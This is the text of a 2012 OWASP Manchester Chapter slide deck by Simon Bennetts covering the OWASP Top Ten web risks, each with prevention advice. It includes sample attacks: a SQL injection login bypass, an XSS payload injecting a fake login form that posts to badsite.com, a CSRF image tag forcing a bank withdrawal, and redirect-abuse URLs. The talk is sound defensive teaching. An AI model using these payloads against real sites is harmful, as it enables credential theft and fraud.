370 likes | 527 Views
OWASP Manchester Chapter. The OWASP Top Ten Most Critical Web Application Security Risks 2012/02/01. Simon Bennetts OWASP Zed Attack Proxy Project Lead psiinon@gmail.com. The OWASP Top Ten. Most Critical Web Application Security Risks A great place to start
E N D
OWASP Manchester Chapter The OWASP Top TenMost Critical Web Application Security Risks2012/02/01 • Simon Bennetts • OWASP Zed Attack Proxy Project Lead • psiinon@gmail.com
The OWASP Top Ten • Most Critical Web Application Security Risks • A great place to start • Current list published in 2010 • Well known and well regarded • But … the vast majority of websites still have a high, critical or urgent issue
The OWASP Top Ten • A1: Injection • A2: Cross-Site Scripting • A3: Broken Authentication and Session Management • A4: Insecure Direct Object References • A5: Cross-Site Request Forgery (CSRF) • A6: Security Misconfiguration • A7: Insecure Cryptographic Storage • A8: Failure to Restrict URL Access • A9: Insufficient Transport Layer Protection • A10: Unvalidated Redirects or Forwards
A1: Injection • Tricking an application into including unintended commands in the data sent to an interpreter • SQL, OS Shell, LDAP, Xpath, Hibernate… • Impact: SEVERE! • Unauthorized application access • Unauthorized data access • OS access…
A1: Injection User Db Server
A1: Injection (SQL) • Example UI: • Example code: String sql = “SELECT * FROM users where username = ʹ” + username + “ʹ and password = ʹ” + password + “ʹ”; • Expected SQL: SELECT * FROM users where username = ʹadminʹ and password = ʹc0rr3ctʹ • Resulting SQL query: SELECT * FROM users where username = ʹadminʹ--ʹand password = ʹanythingʹ ʹ-- Name: admin Login ******* Password:
A1: Injection • Prevention: • Use interfaces that support ‘bind variables’: • Prepared Statements • Stored Procedures • Whitelist input • Encode all user input • Minimize database privileges • OWASP SQL Injection Prevention Cheat sheet
A2: Cross Site Scripting (XSS) • Injecting malicious content/code into web pages • HTML / javascript most common, but many other technologies also vulnerable: • Java, Active X, Flash, RSS, Atom, … • Present in 64% of all web applications in 2010 • Can be present in form and URL parameters AND cookies
A2: Cross Site Scripting (XSS) • Impact: • Session hijacking • Unauthorized data access • Web page rewriting • Redirect users (eg to phishing or malware sites) • Anything the web application can do…
A2: Cross Site Scripting (XSS) Persistent Reflected
A2: Cross Site Scripting (XSS) • Forum: “Have you seen XYZ are being taken over??http://tinyurl/jdfgshr” XYZ – We’re being taken over! https://www.xyz.com/s=%3C%2Fdiv%3E%E2%80%9C%3Cscript%3Edocument.title%3D%E2%80%98XYZ%20 Search this site: Yes, we’re being taken over, but don’t worry: login to find out why this is a good thing! Username: Password: Login
A2: Cross Site Scripting (XSS) XYZ – No Search Result found! https://www.xyz.com/s=%3C%2Fdiv%3E%E2%80%9C%3Cscript%3Edocument.title%3D%E2%80%98XYZ%2 Search this site: No search result found for: • “</div><script>document.title=‘XYZ – We’re being taken over!’; • Document.getElementById(‘results’).style.display=‘none’; • </script> Yes, we’re being taken over, but don’t worry: • login to find out why this is a good thing! <table><form action=‘http://badsite.com/gotcha’> • <tr><td>Username:</td><td><input id=‘user’></td></tr> • <tr><td>Password:</td><td><input id=‘password’ type=…”
A2: Cross Site Scripting (XSS) • View Source: : <div id = “results”> <p>No search result found for: </p> <!-- start of users search term --> “ • </div><script>document.title=‘XYZ – We’re being taken over!’; • Document.getElementById(‘results’).style.display=‘none’; • </script> • Yes, we’re being taken over, but don’t worry: • login to find out why this is a good thing! <table><form action=‘http://badsite.com/gotcha’> • <tr><td>Username:</td><td><input id=‘user’></td></tr> • <tr><td>Password:</td><td><input id=‘password’ type=… • ” <!-- end of users search term --> • :
A2: Cross Site Scripting (XSS) • Prevention: • Don’t output user supplied input • Whitelist input • Encode output (e.g. using OWASP ESAPI) • If you must support user supplied HTML, use libraries like OWASP’s AntiSamy • OWASP XSS Prevention Cheat sheet
A3: Broken Authentication and Session Management • HTTP is stateless • Session IDs used to track state, good as credentials to an attacker • Can be accessed via sniffer, logs, XSS… • Change my password, forgotten my password, secret questions … • Impact: sessions hijacked / accounts compromised
A3: Broken Authentication and Session Management • Prevention: • Use standard implementations • Use SSL for ALL requests • Thoroughly test all authentication related functionality • Use SECURE & HTTPOnly cookies flags
A4: Insecure Direct Object Reference • A direct reference to an object that is not validated on each request • user=psiinon@gmail.com • company=Mega%20Corp • account=7352820 • Typically in FORM and URL parameters (cookies less likely) • Impact: accounts and data compromised
A4: Insecure Direct Object Reference • Attacker notices URL: acct=6065 • Modifies it to acct=6066 • Attacker can view (and maybe change?) the victims account
A4: Insecure Direct Object Reference • Prevention: • Eliminate Direct Object References (ESAPI supports integer and random mapping) • Validate Direct Object References on each request
A5: Cross site request forgery • Exploits sessions established in other browser windows or tabs • Impact: Attacker can perform any action on behalf of the victim
A5: Cross site request forgery Browser 1 2 4 3 example.bank.com bad.site.com <imgsrc=“…”> $$$ <imgsrc= "https://example.bank.com/withdraw?account=bob&amount=1000000&for=mallory"> 5
A5: Cross site request forgery • Prevention: • Never allow GETs to change things • Anti CSRF tokens • Viewstate (ASP.NET) • OWASP CSRF Guard • Challenge-Response • Re-Authentication • CAPTCHA
A6: Security Misconfiguration • Another multitude of sins • Server / Application configuration • Lack of server and application hardening • Unpatched OS, services, libraries • Default accounts • Detailed error messages (e.g. stack traces) • Unprotected files and directories
A6: Security Misconfiguration • Impact: • Server compromise • Exploitation of known vulnerabilities • Prevention: • Server and application hardening • Patch OS, services, libraries
A7: Insecure Cryptographic Storage • Storage of: • Credentials • Credit card numbers • Bank account details • Any sensitive data… • In: Databases, Files, Logs, Backups … • Either: In the clear, or using weak cryptography
A7: Insecure Cryptographic Storage • Impact: • Attackers access or modify sensitive data • Attackers use sensitive data in further attacks • Company embarrassment, loss of trust • Company sued or fined
A7: Insecure Cryptographic Storage • Prevention: • Identify sensitive data • Don’t store sensitive data • Protect with suitable mechanisms (file, db, element encryption) • Only use standard, well recognised algorithms • Check your implementation!
A8: Failure to restrict URL access • ‘Hidden content’ with no authentication or access control • Unprotected administrative pages • robots.txt • Impact: • Unauthorized account and data access • Access to administrative functionality
A8: Failure to restrict URL access • Prevention: • For ALL (non public) URLs always check authentication and permissions • Use a simple ‘fail safe’ mechanisms at each layer of your application
A9: Insufficient Transport Layer Protection • Failure to identify all sensitive data • Failure to identify all places that the sensitive data is transmitted • Failure to employ suitable protection
A9: Insufficient Transport Layer Protection • Impact: • Attackers access or modify sensitive data • Attackers use sensitive data in further attacks • Company embarrassment, loss of trust • Company sued or fined
A9: Insufficient Transport Layer Protection • Prevention: • Use SSL/TLS on all connections that transmit sensitive data • Encrypt messages: XML-Encryption • Sign messages: XML-Signature • Only use standard, well recognised algorithms • Check your implementation!
A10: Unvalidated Redirects and Forwards • Redirects are common and send the user to a new site .. which could be malicious if not validated!http://fail.com/redir.php?url=badsite.com • Forwards (Transfers) send the request to a new page in the same application .. which could bypass authentication or authorizationhttp://fail.com/redir.php?url=admin.php
A10: Unvalidated Redirects and Forwards • Impact: • Redirect victim to phishing or malware site • Attacker’s request is forwarded past security checks, allowing unauthorized function or data access • Prevention: • Validate all Redirects and Forwards
Where Next? • Read and understand the full document! • Read the OWASP Developers Guide • Watch the OWASP AppSec Tutorial videos on youtube • Re-examine your code! • Introduce a Secure Development Lifecycle • Use tools like the OWASP Zed Attack Proxy